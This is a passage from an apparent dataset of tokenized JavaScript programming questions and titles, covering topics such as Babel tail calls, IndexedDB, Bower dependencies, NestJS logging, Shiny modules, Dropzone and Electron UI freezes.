avalia.getValue ( 4 ) ; var avalia1 = column [ 1 ] .toString ( ) ; var avalia1 = column [ 2 ] .toString ( ) ; var avalia1 = column [ 3 ] .toString ( ) ; var avalia1 = column [ 4 ] .toString ( ) ; < table class= '' table table-striped '' > < thead > < tr > < th > Cod < /th > < th > Operador < /th > < th > Qtde < /th > < th > Pie < /th > < th > Status < /th > < /tr > < /thead > < tbody > < tr > < td > 3120 < /td > < td > Patrick Smith < /td > < td > 2 < /td > < td > < span class= '' pie '' > 85/100 < /span > < /td > < td > 85 % < /td > < /tr > < /tbody > < /table >",Send two lists by Json and Get it from Array on JavaScript "JS : I 'm doing this fun coding challenge that I found at a meetup ( doyouevendev.org ) What is the fastest way to generate a million clicks on an element ? The coding challenge seems to be centred around the inspector , which I 'm finding worthwhile.My code ( that i 'm executing in chrome command line ) : I suspect there 's a better way ... It actually seems to be slowing down ... var item = document.getElementsByClassName ( `` clicky-button pulse '' ) ; var item = item [ 0 ] ; count = 0 ; ( function clickIt ( ) { count += 1 setInterval ( function changeClicks ( ) { item.click ( ) ; } , 1 ) ; if ( count < = 50 ) { clickIt ( ) ; } ; } ) ( ) ;",Javascript : What is the fastest way to click an element a million times "JS : I used the following example to test tail call recursion with Babel and the es2016 preset : My package.json file is : ... and the .babelrc is simply : Running the above with : ... results in the following console output : Indeed , looking at the transpiled file in the es5 directory , there 's nothing to suggest that TCO has been implemented.Am I missing something ? My node version is 4.3.2 . 'use strict ' ; try { function r ( n ) { if ( n % 5000===0 ) console.log ( ` reached a depth of $ { n } ` ) ; r ( n+1 ) ; } r ( 0 ) ; } catch ( e ) { if ( ! ( e instanceof RangeError ) ) throw e ; else console.log ( 'stack blown ' ) ; } { `` name '' : `` tail-call-optimization '' , `` version '' : `` 1.0.0 '' , `` description '' : `` '' , `` main '' : `` index.js '' , `` scripts '' : { `` build '' : `` babel es6 -- out-dir es5 -- source-maps '' , `` watch '' : `` babel es6 -- out-dir es5 -- source-maps -- watch '' , `` start '' : `` node es5/app.js '' } , `` author '' : `` '' , `` license '' : `` ISC '' , `` devDependencies '' : { `` babel-cli '' : `` ^6.6.5 '' , `` babel-core '' : `` ^6.7.4 '' , `` babel-loader '' : `` ^6.2.4 '' , `` babel-polyfill '' : `` ^6.7.4 '' , `` babel-preset-es2016 '' : `` ^6.0.10 '' , `` babel-runtime '' : `` ^6.6.1 '' } , `` dependencies '' : { `` babel-polyfill '' : `` ^6.7.4 '' , `` source-map-support '' : `` ^0.4.0 '' } } { `` presets '' : [ `` es2016 '' ] } npm run build & & npm run start reached a depth of 0reached a depth of 5000reached a depth of 10000reached a depth of 15000stack blown",does Babel with the ` es2016 ` preset implement tail call optimization ? "JS : While reading the HTML5 IndexedDB Specification I had some doubts about its asynchronous request model . When looking at the request api example , the open method is used to start an async request.At the time this request is started , there are no event handlers defined yet.Is n't this a race condition ? What happens when the open method succeeds before the javascript interpreter executes the assignment to onsuccess ? Or is the request only really started once both callbacks are registered ? In my opinion an api like the following would be much more logical : var request = indexedDB.open ( 'AddressBook ' , 'Address Book ' ) ; request.onsuccess = function ( evt ) { ... } ; request.onerror = function ( evt ) { ... } ; db.open ( 'AddressBook ' , 'Address Book ' , { onsuccess : function ( e ) { ... } , onerror : function ( e ) { ... } } ) ;",Doubts about HTML5 IndexedDB Async API "JS : Short VersionMy project requires angular-leaflet , and angular-leaflet has a long list of devDependencies , including jQuery 2 . I do n't want jQuery 2 -- I want jQuery 1.x . How can I get bower to ignore the devDependencies of angular-leaflet and let me use jQuery 1 ? Long VersionI am using bower 1.2.8 . Here is a minimal bower.json that reproduces the problem for me : Running bower install results in the following error : At the very least , I expected bower install -- production to ignore devDependencies in angular-leaflet . But here 's the result ( identical to above ) : Why is bower not ignoring the devDependencies of angular-leaflet ? Is there a way to make it do so ? { `` name '' : `` bower-test '' , `` dependencies '' : { `` jquery '' : `` 1.x '' , `` angular '' : `` 1.2.x '' , `` angular-leaflet '' : `` 0.7.x '' } } Unable to find a suitable version for jquery , please choose one : 1 ) jquery # 1.x which resolved to 1.11.0 and has bower-test as dependants 2 ) jquery # 2.1.0 which resolved to 2.1.0 and has angular-leaflet # 0.7.5 as dependants 3 ) jquery # > = 1.9.0 which resolved to 2.1.0 and has bootstrap # 3.0.3 as dependants Unable to find a suitable version for jquery , please choose one : 1 ) jquery # 1.x which resolved to 1.11.0 and has bower-test as dependants 2 ) jquery # 2.1.0 which resolved to 2.1.0 and has angular-leaflet # 0.7.5 as dependants 3 ) jquery # > = 1.9.0 which resolved to 2.1.0 and has bootstrap # 3.0.3 as dependants",Bower Loading devDependencies in Production ? "JS : I want to log the incoming requests and outgoing responses in NestJs . I took information from here Logging request/response in Nest.js and from the docs NestJs Aspect Interception.It would be awesome to achieve this by not using external packages , so I would highly prefer a native `` Nest '' solution.For the request logging I currently use this codeThis would log the following result for GET /usersI also want to log the outgoing response . Currently I use this interceptorThis would log the following result for GET /usersbut how can I access the data that was sent back to the client ? @ Injectable ( ) export class RequestInterceptor implements NestInterceptor { private logger : Logger = new Logger ( RequestInterceptor.name ) ; intercept ( context : ExecutionContext , next : CallHandler ) : Observable < any > { const { originalUrl , method , params , query , body , } = context.switchToHttp ( ) .getRequest ( ) ; this.logger.log ( { originalUrl , method , params , query , body , } ) ; return next.handle ( ) ; } } @ Injectable ( ) export class ResponseInterceptor implements NestInterceptor { private logger : Logger = new Logger ( ResponseInterceptor.name ) ; intercept ( context : ExecutionContext , next : CallHandler ) : Observable < any > { const { statusCode } = context.switchToHttp ( ) .getResponse ( ) ; return next.handle ( ) .pipe ( tap ( ( ) = > this.logger.log ( { statusCode , } ) , ) , ) ; } }",Nestjs log response data object "JS : I have a list of activity stream items where I want similar items to be grouped together . For instance , instead of having 4 entries that say `` Joe liked your happy post '' , `` Sarah liked your happy post '' , `` Bob liked your happy post '' , `` Tom liked your happy post '' , there should be one that says `` Joe , Sarah , and 2 others liked your happy post '' . When items get aggregated , the aggregated post will use the most recent time stamp of its parts . The activity stream is not endless and only contains items from the past week , so all items that match on the properties of noun ( noun.activityType + noun.id ) , and verb should be grouped together . Each activity item has an actor ( who did it ) , target ( who 's feed is it posted to ) , verb ( what did the actor do ) and noun ( what object was the verb acting on ) . I 've put this test dataset on jsfiddle for you guys to play with : http : //jsfiddle.net/yu2P8/1/One strategy is to aggregate server side on creation of the activity item , but I wanted to explore doing this on the client side using libraries like underscore to see if it was doable . { `` pts '' : 0 , `` verb '' : `` follow '' , `` target '' : `` mike '' , `` actor '' : `` test01 '' , `` title '' : `` test01 has started following you '' , `` published '' : `` 2012-06-04T22:34:01.914Z '' , `` _id '' : `` 4fcd37d9c7f1f40100000d7d '' , `` noun '' : { `` id '' : `` mike '' , `` activityType '' : `` profile '' , `` title '' : null } }",A way to aggregate and group items for an activity feed using javascript "JS : How could I write the following code more functionally using ES6 , without any 3rd party libraries ? I would like to avoid Array.push , and possibly the for loop , but I 'm not sure how I would achieve it in this situation . // sample pager array// * output up to 11 pages// * the current page in the middle , if page > 5// * do n't include pager < 1 or pager > lastPage// * Expected output using example : // [ 9,10,11,12,13,14,15,16,17,18,19 ] const page = 14 // by exampleconst lastPage = 40 // by exampleconst pagerPages = page = > { let newArray = [ ] for ( let i = page - 5 ; i < = page + 5 ; i++ ) { i > = 1 & & i < = lastPage ? newArray.push ( i ) : null } return newArray }",Functional way to create an array of numbers "JS : I would like to define a JavaScript property using a property descriptor that has custom attributes , in other words , attributes other than the standard value , writable , etc ... In the example below I have defined a property with a property descriptor that has the custom attribute customAttr . The call to Object.defineProperty works fine but later when I try to loop over the attributes of the property descriptor , my custom attribute is not listed.Is what I am trying to do possible ? const o = { } Object.defineProperty ( o , 'newDataProperty ' , { value : 101 , writable : true , enumerable : true , configurable : true , customAttr : 1 , } ) const desc = Object.getOwnPropertyDescriptor ( o , 'newDataProperty ' ) // List the descriptor attributes.for ( const prop in desc ) { console.log ( ` $ { prop } : $ { desc [ prop ] } ` ) } // PROBLEM : ` customAttr ` is not listed",Do JavaScript property descriptors support custom attributes ? JS : I am trying to create a clickable link in javascriptbut I keep getting an error Uncaught SyntaxError : Unexpected token } Is that not the correct way to escape double quotes and create a link ? var content = ' < a href=\ '' # \ '' onclick=\ '' displayContent ( \ '' TEST\ '' ) \ '' > Whatever < /a > ' ; $ ( `` # placeHolder '' ) .html ( content ) ;,Am I escaping the strings incorrectly in JavaScript ? "JS : I have created an app using socket ... I am able to manage the conversation between two persons using socket connection.Here is the code for itUser modelConversation modelMessage ModelDone with the chatting part with this socket connectionThe above code is working fine for the one to one conversation and also for the group conversation.Now what I want to achieve is to show delivered ( two gray ) and read ( two blue ) ticks just like the what app . Do I need to make separate collections for readBy and deliveredTo and need to save time and userId in it ? How can I do this with the nodejs and socketio ? If someone has done this before then please post your code I will manage to understand it.Any help would be appreciated ! ! ! Thanks in advance ! ! ! const schema = new Mongoose.Schema ( { firstName : { type : String , default : `` , trim : true } , lastName : { type : String , default : `` , trim : true } } ) const schema = new Mongoose.Schema ( { name : { type : String , trim : true } , type : { type : String , required : true , enum : [ ' G ' , ' P ' ] } , members : [ { type : Schema.Types.ObjectId , ref : 'Users ' } ] } , { timestamps : true } ) const schema = new Mongoose.Schema ( { conversationId : { type : Schema.Types.ObjectId , ref : 'Conversations ' } , body : { type : String , trim : true } , author : { type : Schema.Types.ObjectId , ref : 'Users ' } } , { timestamps : true } ) io.on ( 'sendMessage ' , async ( action2 ) = > { action2.author = socket.decoded.id action2.markRead = markReadSocket const createMessage = await Message.create ( action2 ) const messages = await Message.aggregate ( [ { `` $ match '' : { `` _id '' : mongoose.Types.ObjectId ( createMessage._id ) } } , { `` $ lookup '' : { `` from '' : `` users '' , `` let '' : { `` author '' : `` $ author '' } , `` pipeline '' : [ { `` $ match '' : { `` $ expr '' : { `` $ eq '' : [ `` $ _id '' , `` $ $ author '' ] } } } , { `` $ project '' : { `` firstName '' : 1 , `` lastName '' : 1 , `` avatar '' : 1 } } ] , `` as '' : `` author '' } } , { `` $ unwind '' : `` $ author '' } , { `` $ project '' : { `` author '' : 1 , `` markRead '' : 1 , `` isDelivered '' : 1 , `` body '' : 1 , `` conversationId '' : 1 , `` isIncoming '' : { `` $ ne '' : [ `` $ author._id '' , mongoose.Types.ObjectId ( socket.decoded.id ) ] } , } } ] ) io.emit ( action2.conversationId , messages ) } )",Show delivered and blue ticks like whats app "JS : I have a complex Shiny app that needs to use custom JavaScript code . The app is made of modules that are called in multiple places with different namespaces . I need some pieces of JavaScript code to be `` modularized '' along with the R code , that is to use module namespaces . I was able to make it work by creating a customized string containing JS code and executing it with shinyjs : :runjs ( ) function ( example below ) . For given example this is a fair solution . However , putting more complex over hundred line JavaScript code into a string that is pasted with the identifiers seem to be very error prone and suboptimal solution ( lack of highlighting , painful formatting etc. ) . Is there a better way to achieve the same effect ? UpdateFor future reference I decided to share the solution that I finally implemented . I ended up creating a single JS file per module containing one function taking the namespace as the only argument . This function creates all the needed objects and bindings using this namespace . I then invoke that single function using shinyjs on the beginning of the module . This allows me to keep JS code in a separate file which solves the initial problems and keeps the code easily manageable ( especially if you have a lot of JS code ) .app.Rwww/myModuleJS.js library ( shiny ) library ( shinyJS ) myModuleUI < - function ( id ) { ns < - NS ( id ) tagList ( div ( id = ns ( `` clickableElement '' ) , class = `` btn btn-primary '' , `` Click Me '' ) , div ( id = ns ( `` highlightableElement '' ) , `` This ( and only this ! ) text should be highlighted on click '' ) ) } myModule < - function ( input , output , session ) { ns < - session $ ns shinyjs : :runjs ( paste0 ( `` $ ( ' # '' , ns ( `` clickableElement '' ) , `` ' ) .click ( function ( ) { $ ( ' # '' , ns ( `` highlightableElement '' ) , `` ' ) .css ( 'background ' , 'yellow ' ) ; } ) `` ) ) } ui < - fluidPage ( useShinyjs ( ) , tabsetPanel ( tabPanel ( `` Instance 1 '' , myModuleUI ( `` one '' ) ) , tabPanel ( `` Instance 2 '' , myModuleUI ( `` two '' ) ) ) ) server < - function ( input , output ) { callModule ( myModule , `` one '' ) callModule ( myModule , `` two '' ) } shinyApp ( ui = ui , server = server ) library ( shiny ) library ( shinyjs ) myModuleUI < - function ( id ) { ns < - NS ( id ) tagList ( div ( id = ns ( `` clickableElement '' ) , class = `` btn btn-primary '' , `` Click Me '' ) , div ( id = ns ( `` highlightableElement '' ) , `` This ( and only this ! ) text should be highlighted on click '' ) ) } myModule < - function ( input , output , session ) { ns < - session $ ns shinyjs : :runjs ( paste0 ( `` myModuleJS ( ' '' , ns ( `` '' ) , `` ' ) ; '' ) ) } ui < - fluidPage ( useShinyjs ( ) , tags $ head ( tags $ script ( src = `` myModuleJS.js '' ) ) , tabsetPanel ( tabPanel ( `` Instance 1 '' , myModuleUI ( `` one '' ) ) , tabPanel ( `` Instance 2 '' , myModuleUI ( `` two '' ) ) ) ) server < - function ( input , output ) { callModule ( myModule , `` one '' ) callModule ( myModule , `` two '' ) } shinyApp ( ui = ui , server = server ) function myModuleJS ( ns ) { $ ( ' # ' + ns + 'clickableElement ' ) .click ( function ( ) { $ ( ' # ' + ns + 'highlightableElement ' ) .css ( 'background ' , 'yellow ' ) ; } ) ; }",What 's the best way to write custom JavaScript for R Shiny Module that uses module 's namespace ? "JS : Why clicking on the male radio button does not work ? I know that here - > return false is equivalent to call e.preventDefault ( ) AND e.stopPropagation ( ) However , when I click on the radio button , I have an explicit line setting the property checked to true for the Male radio button . Why will preventDefault ( ) will UNDO something I set ? By the way , clicking anywhere inside 'm_wrapper ' checks the radio button . Which makes sense.I know that removing return false will fix the issue . The question is 'why ? ' < div id= '' m_wrapper '' > < input id= '' m '' type= '' radio '' name= '' sex '' value= '' male '' / > Male < br > < /div > < input id= '' f '' type= '' radio '' name= '' sex '' value= '' female '' / > Female < input id= '' o '' type= '' radio '' name= '' sex '' value= '' other '' / > Other $ ( `` # m_wrapper '' ) .click ( function ( e ) { $ ( `` # m '' ) .prop ( 'checked ' , true ) ; return false ; } ) ; $ ( `` # m_wrapper '' ) .click ( function ( e ) { $ ( `` # m '' ) .prop ( 'checked ' , true ) ; return false ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.10.0/jquery.min.js '' > < /script > < div id= '' m_wrapper '' > < input id= '' m '' type= '' radio '' name= '' sex '' value= '' male '' / > Male < br > < /div > < input id= '' f '' type= '' radio '' name= '' sex '' value= '' female '' / > Female < input id= '' o '' type= '' radio '' name= '' sex '' value= '' other '' / > Other",JQuery event propagation ( return false ) "JS : The normal way of handling onclick in d3 isIf I do it this way on 1000 svg elements , does it mean I just attached 1000 different listeners . If this is the case , is there event delegation for d3 specifically ? selection.append ( element ) .on ( `` click '' , someFunction )",Do I add eventListener to every SVG element if I follow normal D3 way ? "JS : I 'm using AWSs API Gateway along with a Lambda function for an API.In my Lambda function , I have the following ( simplified ) code however I 'm finding that the await sendEmail is n't being respected , instead , it keeps returning undefined exports.handler = async ( event ) = > { let resultOfE = await sendEmail ( `` old @ old.com '' , `` new @ new.com '' ) console.log ( resultOfE ) } async function sendEmail ( oldEmail , newEmail ) { var nodemailer = require ( 'nodemailer ' ) ; var transporter = nodemailer.createTransport ( { service : 'gmail ' , auth : { user : 'xxx ' , pass : 'xxx ' } } ) ; transporter.sendMail ( mailOptions , function ( error , info ) { if ( error ) { console.log ( error ) ; return false } else { console.log ( 'Email sent : ' + info.response ) ; return true } } ) ; }",AWS - Lambda Function not waiting for await "JS : I am keen to embed a twitter timeline as part of a Shiny App . I have got the relevant code snippetI have created a twitter.js file ( the above minus the script tags ) and a ui.R as belowThis produces an errorIf I omit the data-widget-id= '' 524686407298596864 '' , I get a link which , when clicked on , opens a browser window with the correct timelineOne thing I have noticed is that the script given is not quite the same as that in twitters development tutorial https : //dev.twitter.com/web/embedded-timelinesTIA < a class= '' twitter-timeline '' href= '' https : //twitter.com/pssGuy/timelines/524678699061641216 '' data-widget-id= '' 524686407298596864 '' > Soccer < /a > < script > ! function ( d , s , id ) { var js , fjs=d.getElementsByTagName ( s ) [ 0 ] , p=/^http : /.test ( d.location ) ? 'http ' : 'https ' ; if ( ! d.getElementById ( id ) ) { js=d.createElement ( s ) ; js.id=id ; js.src=p+ '' : //platform.twitter.com/widgets.js '' ; fjs.parentNode.insertBefore ( js , fjs ) ; } } ( document , '' script '' , '' twitter-wjs '' ) ; < /script > library ( shiny ) shinyUI ( fluidPage ( tags $ head ( includeScript ( `` twitter.js '' ) ) , titlePanel ( `` '' ) , sidebarLayout ( sidebarPanel ( ) , mainPanel ( a ( `` Soccer '' , class= '' twitter-timeline '' , href= '' https : //twitter.com/pssGuy/timelines/524678699061641216 '' , data-widget-id= '' 524686407298596864 '' ) ) ) ) ) ERROR : C : \Users\pssguy\Documents\R\testGoogleTwitter/ui.R:19:124 : unexpected '='18 : mainPanel ( 19 : a ( `` Soccer '' , class= '' twitter-timeline '' , href= '' https : //twitter.com/pssGuy/timelines/524678699061641216 '' , data-widget-id= < script type= '' text/javascript '' > window.twttr = ( function ( d , s , id ) { var t , js , fjs = d.getElementsByTagName ( s ) [ 0 ] ; if ( d.getElementById ( id ) ) return ; js = d.createElement ( s ) ; js.id = id ; js.src= `` https : //platform.twitter.com/widgets.js '' ; fjs.parentNode.insertBefore ( js , fjs ) ; return window.twttr || ( t = { _e : [ ] , ready : function ( f ) { t._e.push ( f ) } } ) ; } ( document , `` script '' , `` twitter-wjs '' ) ) ; < /script >",How can I embed a twitter timeline in a Shiny app "JS : I am using a carrierwave and dropzonejs . Everything seems fine however , when I try to press to remove picture button , even though it removes from the database , picture stays on the container.Here how it looks like ; When I click to remove file link all of them , it becomes ; So I clicked all the remove file buttons , they are removed from the database however , stays on the page . I think it is because of the js code ( end part ) below , pictures controller if anyone wonders , < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { // disable auto discover Dropzone.autoDiscover = false ; // grap our upload form by its id $ ( `` # picture-dropzone '' ) .dropzone ( { // restrict image size to a maximum 5MB maxFilesize : 5 , // changed the passed param to one accepted by // our rails app paramName : `` picture [ image ] '' , acceptedFiles : `` image/* '' , // show remove links on each image upload addRemoveLinks : true , // if the upload was successful success : function ( file , response ) { // find the remove button link of the uploaded file and give it an id // based of the fileID response from the server $ ( file.previewTemplate ) .find ( '.dz-remove ' ) .attr ( 'id ' , response.fileID ) ; $ ( file.previewTemplate ) .find ( '.dz-remove ' ) .attr ( 'boat_id ' , response.boatID ) ; // add the dz-success class ( the green tick sign ) $ ( file.previewElement ) .addClass ( `` dz-success '' ) ; } , //when the remove button is clicked removedfile : function ( file ) { //location.reload ( ) ; //removeFile ( file ) ; *******THIS DOES NOT WORK******* // grap the id of the uploaded file we set earlier var id = $ ( file.previewTemplate ) .find ( '.dz-remove ' ) .attr ( 'id ' ) ; var boat_id = $ ( file.previewTemplate ) .find ( '.dz-remove ' ) .attr ( 'boat_id ' ) ; // // make a DELETE ajax request to delete the file $ .ajax ( { type : 'DELETE ' , url : '/boats/ ' + boat_id + '/pictures/ ' + id , success : function ( file ) { } } ) ; } } ) ; } ) ; < /script > class PicturesController < ApplicationController before_action : logged_in_user before_filter : load_parent def new @ picture = @ boat.pictures.new @ pictures = @ boat.pictures.all end def show @ picture = @ boat.pictures.find ( params [ : id ] ) end def create @ picture = @ boat.pictures.new ( picture_params ) if @ picture.save render json : { message : `` success '' , fileID : @ picture.id , boatID : @ boat.id } , : status = > 200 else render json : { error : @ picture.errors.full_messages.join ( ' , ' ) } , : status = > 400 end end def edit @ picture = Picture.find ( params [ : id ] ) end def update @ picture = @ boat.pictures.find ( params [ : id ] ) if @ picture.update_attributes ( picture_params ) flash [ : notice ] = `` Successfully updated picture . '' render 'index ' else render 'edit ' end end def destroy @ picture = @ boat.pictures.find ( params [ : id ] ) if @ picture.destroy render json : { message : `` File deleted from server '' } # redirect_to new_boat_picture_path ( @ boat , @ picture ) flash [ : notice ] = `` Successfully destroyed picture . '' else render json : { message : @ picture.errors.full_messages.join ( ' , ' ) } end # flash [ : notice ] = `` Successfully destroyed picture . '' # redirect_to new_boat_picture_path ( @ boat , @ picture ) # redirect_to boat_pictures_path ( @ boat ) # redirect_to boat_path ( @ boat ) end private def picture_params params.require ( : picture ) .permit ( : name , : image ) end def load_parent @ boat = Boat.find ( params [ : boat_id ] ) endend",Dropzonejs with Rails Delete files from the page "JS : When dynamically changing the video , i am getting the following error under server console I am using the following code when change occurredBut when changed the video 3 - 4 times or clicked on Remove Button i am getting the issue This is my fiddle https : //jsfiddle.net/q3hhk17e/36/ Could you please let me know how to resolve this issue . ( index ) :71 Uncaught ( in promise ) DOMException : The play ( ) request was interrupted by a new load request . function playlocalVID ( ) { var player = document.getElementById ( `` video '' ) ; var currentVID = document.getElementById ( 'currentVID ' ) ; var selectedLocalVID = document.getElementById ( 'howtovideo ' ) .files [ 0 ] ; currentVID.setAttribute ( 'src ' , URL.createObjectURL ( new Blob ( [ selectedLocalVID ] ) ) ) ; player.load ( ) ; player.play ( ) ; } Uncaught ( in promise ) DOMException : The play ( ) request was interrupted by a new load request .",dynamically changing video gives the play ( ) request was interrupted by a new load request "JS : Here 's a sample form : I 'd like the reset button to work even if the user enters non-numeric values . var form = document.querySelector ( 'form ' ) ; function detectChange ( ) { var inputs = form.querySelectorAll ( 'input ' ) ; for ( var input of inputs ) { if ( input.value ! = input.defaultValue ) { return true ; } } } form.querySelector ( 'button ' ) .addEventListener ( 'click ' , function ( ) { if ( detectChange ( ) & & confirm ( 'Are you sure you want to reset ? ' ) ) { form.reset ( ) ; } } ) ; < form > < input type= '' number '' > < input type= '' number '' value= '' 7 '' > < button type= '' button '' > Reset < /button > < /form >",Reset form invalid values "JS : I 'm using Webix UI modal , this is how i use it : When i click Accept in modal , my JSON is empty . How can i fix it ? I was trying to get input 's value by console.log , but it 's empty too . this.add = function ( ) { scrollArea.css ( `` overflow '' , `` hidden '' ) ; $ .ajax ( { type : `` GET '' , url : `` /detail/create '' , success : function ( form ) { webix.message.keyboard = false ; webix.modalbox ( { title : `` New detail '' , buttons : [ `` Accept '' , `` Decline '' ] , text : form , width : 400 , callback : function ( result ) { switch ( result ) { case `` 0 '' : addDetail ( ) ; break ; case `` 1 '' : break ; } scrollArea.css ( `` overflow '' , `` auto '' ) ; } } ) ; } } ) ; function addDetail ( ) { $ .ajaxSetup ( { headers : { ' X-CSRF-TOKEN ' : $ ( 'meta [ name= '' csrf-token '' ] ' ) .attr ( 'content ' ) } } ) ; $ .ajax ( { type : `` POST '' , url : `` /detail/store '' , data : $ ( ' # detail_add ' ) .serialize ( ) , contentType : `` JSON '' , processData : false , success : function ( ) { } } ) ; } } ; And form 's HTML : < form action= '' '' id= '' detail_add '' method= '' post '' > < input type= '' text '' name= '' name '' placeholder= '' Name '' > < input type= '' text '' name= '' article '' placeholder= '' Article '' > < input type= '' hidden '' name= '' location_id '' placeholder= '' 1 '' > < input type= '' hidden '' name= '' _token '' value= '' { { csrf_token ( ) } } '' / > < /form >",Form data in webix UI modal "JS : I have tested this on Windows XP SP3 in IE7 and IE8 ( in all compatibility modes ) and Windows 7 Ultimate in IE8 ( in all compatiblity modes ) and it fails the same way on both . I am running the latest HEAD from the the couchapp repository . This works fine on my OSX 10.6.3 development machine . I have tested with Chrome 4.1.249.1064 ( 45376 ) and Firefox 3.6 on Windows 7 Ultimate and they both work fine . As do both Safari 4 and Firefox 3.6 on OSX 10.6.3Here is the error message Webpage error details User Agent : Mozilla/4.0 ( compatible ; MSIE 8.0 ; Windows NT 6.1 ; Trident/4.0 ; SLCC2 ; .NET CLR 2.0.50727 ; .NET CLR 3.5.30729 ; .NET CLR 3.0.30729 ; Media Center PC 6.0 ) Timestamp : Wed , 28 Apr 2010 03:32:55 UTC Message : Object does n't support this property or method Line : 159 Char : 7 Code : 0 URI : http : //192.168.0.105:5984/test/_design/test/vendor/couchapp/jquery.couch.app.jsand here is the `` offending '' bit of code , which works on Chrome , Firefox and Safari just fine . If says the failure is on the line that starts qs.forEach ( ) from the file jquery.couch.app.js 157 var qs = document.location.search.replace ( /^\ ? / , '' ) .split ( ' & ' ) ; 158 var q = { } ; 159 qs.forEach ( function ( param ) { 160 var ps = param.split ( '= ' ) ; 161 var k = decodeURIComponent ( ps [ 0 ] ) ; 162 var v = decodeURIComponent ( ps [ 1 ] ) ; 163 if ( [ `` startkey '' , `` endkey '' , `` key '' ] .indexOf ( k ) ! = -1 ) { 164 q [ k ] = JSON.parse ( v ) ; 165 } else { 166 q [ k ] = v ; 167 } 168 } ) ;",how to get jquery.couch.app.js to work with IE8 JS : In JavaScript you can use the following code : Is there an equivalent in PHP except for the ternary operator : The difference being only having to write $ value once ? var = value || default ; $ var = ( $ value ) ? $ value : $ default ;,PHP alternative to ternary operator "JS : I have got this problem ... B is a base class , and A is a derived class ... Event though A is derived from B , various objects of A points to the same object of B. I know i have assigned an object of B to the prototype of A to make A child of B . But different objects of A , they should have different address space to hold the variables , right ? Can you anyone correct this ? What change should I make in this code so that gives me following result . function B ( ) { this.obj = { } ; } function A ( ) { } A.prototype = new B ( ) ; var a = new A ( ) ; var b = new A ( ) ; var c = new A ( ) ; console.log ( a.obj == b.obj ) ; //prints true console.log ( a.obj === b.obj ) ; //prints true a.obj.name = `` stackoverflow '' ; console.log ( b.obj.name ) ; //prints stackoverflow a.obj === b.obj //must be falsea instanceof A ; //must be truea instanceof B ; //must be true",Problem extending class with javascript object prototype "JS : I 'm trying to take an existing working code base and make it object oriented using JavaScript . My system takes JSON containing groups and items in a one-to-many relationship , and visualizes this on a page . The items can be moved into different groups , and their positioning within those groups also needs to be calculated . As such , events will need to be established which are aware of both the groups and tickets around them.I 'm using John Resig 's simple JavaScript inheritence setup to establish two classes , Item and Group . When each Item is instantiated it refers back to it 's parent Group . My issue arises when I want to establish my events , and is most easily explained by the following function : Note the use of the .data ( `` _obj '' ) in the above snippet . Essentially , when I need to do something like sorting the items , then I need to know the object ( model ) corresponding to every item 's DOM ( view/controller ) in the group . Now , I could establish my Group class so that when I create each Item I add a reference to it from within my Group ( e.g . so Group.items = [ i1 , i2 ... ] ) , and then rather than iterating over the DOM elements , I could iterate over the Item instances . However I think I 'd run into similar problems down the line , such as when I want to move an Item into a different Group ( as the Group would not know about the Item ) . Long story short : is it intrinsically dangerous/naive/pointless to have a class which when instantiated creates a DOM element , which then in turn points back to the class ? This feels like circular dependency , and some recursive nightmare , but perhaps a reference to an object is n't such a terrible thing . If I 'm doing anything else really stupid , and there 's a much simpler way , then please point that out as well . var Group = Class.extend ( { ... // Calculate where to place the new item within the group calculate_new_position : function ( item ) { var pos = -1 ; // Loop through all DOM items in groups body $ ( `` .item '' , this.elBody ) .each ( function ( i ) { // Retrieve it 's class object var next = $ ( this ) .data ( `` _obj '' ) ; // Calculating things using the class reference var lowerPrio = item.tData.priority < next.tData.priority , lowerId = item.id < next.id ; if ( lowerPrio || lowerId ) { pos = i ; return false ; } } ) ; return pos ; } , ... ) } ;",Circular dependency between JavaScript Class and jQuery object "JS : Note : Additional information appended to end of original question as Edit # 1 , detailing how request-promise in the back-end is causing the UI freeze . Keep in mind that a pure CSS animation is hanging temporarily , and you can probably just skip to the edit ( or read all for completeness ) The setupI 'm working on a desktop webapp , using Electron.At one point , the user is required to enter and submit some data . When they click `` submit '' , I use JS to show this css loading animation ( bottom-right loader ) , and send data asynchronously to the back-end ... - HTML -- JS -where ._hide is simplyand where ipcRenderer.send ( ) is an async method , without option to set otherwise.The problemNormally , the 0ms delay is sufficient to allow the DOM to be changed before the blocking event takes place . But not here . Whether using the setTimeout ( ) or not , there is still a delay.So , add a tiny delay ... Great ! The loader displays immediately upon submitting ! But ... after 100ms , the animation stops dead in its tracks , for about 500ms or so , and then gets back to chooching.This working - > not working - > working pattern happens regardless of the delay length . As soon as the ipcRenderer starts doing stuff , everything is halted.So ... Why ! ? This is the first time I 've seen this kind of behavior . I 'm pretty well-versed in HTML/CSS/JS , but am admittedly new to NodeJS and Electron . Why is my pure CSS animation being halted by the ipcRenderer , and what can I do to remedy this ? Edit # 1 - Additional InfoIn the back-end ( NodeJS ) , I am using request-promise to make a call to an external API . This happens when the back-end receives the ipcRenderer message.The buggy freezing behavior only happens on the first API call . Successive API calls ( i.e . refreshing the desktop app without restarting the NodeJS backend ) , do not cause the hang-up . Even if I call a different API method , there are no issues.For now , I 've implemented the following hacky workaround : First , initialize the first BrowserWindow with show : false ... When the window is ready , send a ping to the external API , and only display the window after a successful response ... This extra step means that there is about 500ms delay before the window appears , but then all successive API calls ( whether .ping ( ) or otherwise ) no longer block the UI . We 're getting to the verge of callback hell , but this is n't too bad.So ... this is a request-promise issue ( which is asynchronous , as far as I can tell from the docs ) . Not sure why this behavior is only showing-up on the first call , so please feel free to let me know if you know ! Otherwise , the little hacky bit will have to do for now . ( Note : I 'm the only person who will ever use this desktop app , so I 'm not too worried about displaying a `` ping failed '' message . For a commercial release , I would alert the user to a failed API call . ) < button id= '' submitBtn '' type= '' submit '' disabled= '' true '' > Go ! < /button > < div class= '' submit-loader '' > < div class= '' loader _hide '' > < /div > < /div > form.addEventListener ( 'submit ' , function ( e ) { e.preventDefault ( ) ; loader.classList.remove ( '_hide ' ) ; setTimeout ( function ( ) { ipcRenderer.send ( 'credentials : submit ' , credentials ) ; } , 0 ) } ) ; ._hide { visibility : hidden ; } loader.classList.remove ( '_hide ' ) ; setTimeout ( function ( ) { ipcRenderer.send ( 'credentials : submit ' , credentials ) ; } , 100 ) ; var rp = require ( 'request-promise ' ) ; ipcMain.on ( 'credentials : submit ' , function ( e , credentials ) { var options = { headers : { ... api-key ... } , json : true , url : url , method : 'GET ' } ; return rp ( options ) .then ( function ( data ) { ... send response to callback ... } ) .catch ( function ( err ) { ... send error to callback ... } ) ; } window = new BrowserWindow ( { show : false } ) ; window.on 